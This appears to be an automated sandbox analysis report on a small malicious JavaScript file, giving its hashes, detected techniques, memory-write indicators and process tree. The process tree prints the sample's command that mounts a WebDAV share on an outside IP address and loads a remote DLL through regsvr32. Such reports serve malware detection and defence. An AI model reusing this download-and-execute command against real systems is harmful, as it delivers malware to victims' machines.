Analysis
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max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
23/07/2024, 03:09
Static task
static1
Behavioral task
behavioral1
Sample
a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4.js
Resource
win10v2004-20240709-en
General
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Target
a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4.js
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Size
4KB
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MD5
a3255db5247a55b61c7e6598cf8729f7
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SHA1
2e36e9388f73e2789aa5d4c641b9bccd4f62d9a1
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SHA256
a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4
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SHA512
05870dfb45106df37164509e7b76a2e6a36d2af8daaf01ba9d142a19da76814d045d52c8f04f0f92f679a2c7e6e0bcba652ec79cb815716168e67bea04efc93d
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SSDEEP
96:n+SNwYKnV0R4MoHWDGLJY4mHoXHWjwm944gERvd1KKEvAk/99Rvd1KKEvaQe:+ZVKA2V7lMAk1lM2
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2516 wrote to memory of 1228 2516 wscript.exe 30 PID 2516 wrote to memory of 1228 2516 wscript.exe 30 PID 2516 wrote to memory of 1228 2516 wscript.exe 30 PID 1228 wrote to memory of 2140 1228 cmd.exe 32 PID 1228 wrote to memory of 2140 1228 cmd.exe 32 PID 1228 wrote to memory of 2140 1228 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4.js1⤵
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\298592004022503.dll2⤵
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2140
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